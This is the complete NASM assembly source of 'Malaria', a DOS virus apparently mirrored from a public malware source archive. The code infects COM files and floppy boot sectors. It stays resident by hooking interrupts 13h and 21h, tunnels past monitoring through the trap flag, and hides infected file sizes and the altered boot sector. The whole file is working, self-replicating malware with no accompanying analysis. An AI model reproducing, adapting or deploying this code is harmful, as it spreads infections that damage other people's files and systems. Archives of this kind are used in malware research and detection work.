mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
409 lines
11 KiB
NASM
409 lines
11 KiB
NASM
;
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;=============================================================================
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; [Malaria]
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; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
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;=============================================================================
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;
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virus_size equ (v_end-v_start)
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loader_size equ (loader_end-loader_start)
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paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h
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.model tiny
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.code
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.286
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org 0100h
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start:
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v_start:
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push ds es
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dec ax
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int 0013h
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inc ax
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jz exit_install
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mov ax,es
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dec ax
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mov ds,ax
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mov bx,5A4Dh
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sub si,si
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cmp bl,byte ptr [si]
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jz exit_install
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mov ax,offset exit_install
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delta_two = $-0002h
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push cs ax
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sub word ptr [si+0003h],paragraph_size
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sub word ptr [si+0012h],paragraph_size
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mov byte ptr [si],bl
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mov ax,word ptr [si+0012h]
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mov ds,ax
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mov byte ptr [si],bh
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mov word ptr [si+0001h],0008h
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mov word ptr [si+0003h],paragraph_size-0001h
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inc ax
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mov es,ax
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push ax
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mov si,offset v_start
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delta_one = $-0002h
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mov cx,virus_size
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mov di,offset v_start
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rep movs byte ptr [di],cs:[si]
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mov ax,offset trace_interrupt
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push ax
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retf
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exit_install:
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pop es ds
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mov si,offset host_bytes
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delta_three = $-0002h
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mov di,offset v_start
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push di
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movsb
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movsw
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retn
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loader_start:
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mov ax,0B900h
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mov es,ax
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push ax
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mov ax,offset restore_boot_sector
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push ax
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mov ax,0202h
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mov bx,offset v_start
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mov cx,'ML'
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loader_fix_1 = $-0002h
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inc dh
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int 0013h
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retf
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loader_end:
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restore_boot_sector:
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xor ax,ax
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mov es,ax
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mov si,offset boot_bytes
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mov di,7C00h
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push ax di
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mov cl,loader_size shr 0001h
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rep movs word ptr [di],cs:[si]
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mov ax,word ptr es:[0084h]
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mov word ptr cs:[int_word],ax
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push cs
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pop es
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mov byte ptr cs:[trace_interrupt_],00C3h
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call trace_interrupt
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mov byte ptr cs:[trace_interrupt_],00BEh
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retf
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trace_interrupt:
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mov ds,cx
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mov byte ptr cs:[trap_flag],cl
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mov si,004Ch
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mov di,offset i0013hOffset
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movsw
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movsw
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mov word ptr [si-0004h],offset i0013h
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mov word ptr [si-0002h],cs
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trace_interrupt_:
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mov si,0084h
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mov di,offset i0021hOffset
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movsw
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movsw
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mov word ptr [si-0004h],offset i0021h
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mov word ptr [si-0002h],cs
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mov si,0004h
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push word ptr ds:[si] word ptr ds:[si+0002h]
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mov word ptr [si],offset i0001h
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mov word ptr [si+0002h],cs
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mov ah,0052h
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int 0021h
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mov word ptr cs:[dos_segment],es
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mov ah,0001h
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push ax
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popf
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mov ah,0019h
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call call_i0021h
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pop word ptr ds:[si+0002h] word ptr ds:[si]
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retf
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i0001h: push bp
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mov bp,sp
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push ax
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cmp byte ptr cs:[trap_flag],0001h
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jz i0001h_exit_
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mov ax,word ptr [bp+0004h]
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cmp ax,0D00Dh
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dos_segment = $-0002h
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jnz i0001h_exit
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mov word ptr cs:[t0021hSegment],ax
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mov ax,word ptr [bp+0002h]
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mov word ptr cs:[t0021hOffset],ax
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inc byte ptr cs:[trap_flag]
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i0001h_exit_:
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and byte ptr [bp+0007h],-0002h
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i0001h_exit:
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pop ax bp
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int_return:
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iret
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i0013h: cmp ax,-0001h
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jz int_return
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cmp byte ptr cs:[trap_flag],0001h
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jz i0013h_continue
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pusha
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push ds es cs
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pop es
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cwd
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mov ds,dx
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mov ax,word ptr ds:[0084h]
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cmp ax,word ptr cs:[int_word]
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jz hook_exit
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push cs
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call trace_interrupt_
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hook_exit:
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pop es ds
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popa
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i0013h_continue:
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cmp dl,0001h
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jnb original_i0013h
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cmp ah,0002h
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jz i0013h_stealth_boot
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pusha
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push ds es
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cmp ah,0003h
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jnz i0013h_exit
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i0013h_infect_boot:
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mov ax,0BBE8h
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mov es,ax
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mov ax,0201h
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xor bx,bx
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mov cx,0001h
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xor dh,dh
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call call_i0013h
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cmp byte ptr es:[bx],00B8h
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jz i0013h_exit
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mov al,byte ptr es:[bx+0010h]
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mul byte ptr es:[bx+0016h]
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xchg ax,cx
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mov ax,word ptr es:[bx+0011h]
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shr ax,0004h
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add ax,cx
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sub ax,word ptr es:[bx+0018h]
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mov word ptr cs:[loader_fix_1],ax
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push ax es es cs
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pop es ds
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mov cl,loader_size shr 0001h
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xor si,si
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mov di,offset boot_bytes
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rep movsw
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pop es
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mov cl,loader_size shr 0001h
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mov si,offset loader_start
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sub di,di
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rep movs word ptr [di],cs:[si]
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mov ax,0301h
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inc cx
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call call_i0013h
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push cs
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pop es
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mov ax,0302h
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mov bx,offset v_start
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pop cx
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inc dh
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call call_i0013h
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i0013h_exit:
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pop es ds
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popa
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original_i0013h:
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db 00EAh,'PURE'
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i0013hOffset = $-0004h
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i0013hSegment = $-0002h
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i0013h_stealth_boot:
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cmp cx,0001h
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jnz original_i0013h
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or dh,dh
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jnz original_i0013h
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pusha
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call call_i0013h
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jc i0013h_stealth_boot_exit
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cmp byte ptr es:[bx],00B8h
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jnz i0013h_stealth_boot_exit
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mov si,offset boot_bytes
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mov di,bx
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mov cl,loader_size shr 0001h
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rep movs word ptr [di],cs:[si]
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i0013h_stealth_boot_exit:
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popa
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clc
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retf 0002h
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i0021h: cmp ah,0011h
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jz fcb_stealth
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cmp ah,0012h
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jz fcb_stealth
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cmp ah,004Eh
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jz dta_stealth
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cmp ah,004Fh
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jz dta_stealth
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pusha
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push ds es
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cmp ax,4300h
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jz i0021h_infect_file
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cmp ax,4301h
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jz i0021h_infect_file
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cmp ax,4B00h
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jz i0021h_infect_file
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i0021h_exit:
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pop es ds
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popa
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original_i0021h:
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db 00EAh,'TEXT'
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i0021hOffset = $-0004h
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i0021hSegment = $-0002h
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fcb_stealth:
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call call_i0021h
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pusha
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push es
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inc al
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jz fcb_exit_
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mov ah,002Fh
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call tunnel_i0021h
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cmp byte ptr es:[bx],-0001h
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jnz fcb_continue
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add bx,0007h
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fcb_continue:
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mov ax,word ptr es:[bx+0017h]
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mov cx,word ptr es:[bx+0019h]
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call hide_dir
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fcb_exit_:
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pop es
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popa
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fcb_exit:
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iret
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dta_stealth:
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call call_i0021h
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jc dta_exit
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pusha
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push es
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mov ah,002Fh
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call tunnel_i0021h
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mov ax,word ptr es:[bx+0016h]
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mov cx,word ptr es:[bx+0018h]
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sub bx,0003h
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call hide_dir
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pop es
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popa
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dta_exit:
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retf 0002h
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_close_file:
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jmp close_file
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i0021h_infect_file:
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push ds
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pop es
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mov al,002Eh
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mov cx,0040h
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mov di,dx
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repnz scasb
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cmp word ptr [di],4F43h
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jnz i0021h_exit
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mov ax,3D02h
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call tunnel_i0021h
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xchg ax,bx
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mov ax,1220h
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int 002Fh
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push bx
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mov ax,1216h
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mov bl,byte ptr es:[di]
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int 002Fh
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pop bx
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mov si,offset temp_buffer
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push cs
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pop ds
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mov ah,003Fh
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mov cl,0003h
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mov dx,si
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call tunnel_i0021h
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cmp word ptr [si],5A4Dh
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jz close_file
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cmp word ptr [si],4D5Ah
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jz close_file
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push si
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lodsb
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mov byte ptr [si-0004h],al
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lodsw
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mov word ptr [si-0005h],ax
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pop si
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mov ax,word ptr es:[di+0011h]
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mov word ptr es:[di+0015h],ax
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mov cx,virus_size
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cmp ax,cx
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jb close_file
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push ax
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sub ax,0003h
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mov byte ptr [si],00E9h
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mov word ptr [si+0001h],ax
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sub ax,cx
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cmp ax,word ptr [si-0002h]
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pop ax
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jz close_file
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add ax,offset v_start
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mov word ptr [delta_one],ax
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add ax,offset exit_install-v_start
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mov word ptr [delta_two],ax
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add ax,offset host_bytes-exit_install
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mov word ptr [delta_three],ax
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mov ah,0040h
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mov dx,offset v_start
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call tunnel_i0021h
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mov word ptr es:[di+0015h],0000h
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mov ah,0040h
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mov cx,0003h
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mov dx,si
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call tunnel_i0021h
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mov ax,5701h
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mov cx,word ptr es:[di+000Dh]
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mov dx,word ptr es:[di+000Fh]
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push dx
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and cx,-0020h
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and dx,001Fh
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dec dx
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or cx,dx
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pop dx
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call tunnel_i0021h
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close_file:
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mov ah,003Eh
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call tunnel_i0021h
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jmp i0021h_exit
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hide_dir:
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mov si,001Fh
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and ax,si
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and cx,si
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dec cx
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xor ax,cx
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jnz hide_exit
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cmp ax,word ptr es:[bx+si]
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ja hide_exit
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mov ax,virus_size
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cmp word ptr es:[bx+si-0002h],ax
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jbe hide_exit
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hide_continue:
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sub word ptr es:[bx+si-0002h],ax
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hide_exit:
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retn
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tunnel_i0021h:
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pushf
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db 009Ah,'PURE'
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t0021hOffset = $-0004h
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t0021hSegment = $-0002h
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retn
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call_i0013h:
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pushf
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push cs
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call original_i0013h
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retn
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call_i0021h:
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pushf
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push cs
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call original_i0021h
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retn
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boot_bytes db loader_size dup (0000h)
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host_bytes db 00CDh,0020h,'!'
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v_end:
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heap_start:
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temp_buffer db 0003h dup (?)
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trap_flag db 0001h dup (?)
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int_word db 0002h dup (?)
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heap_end:
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end start
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.
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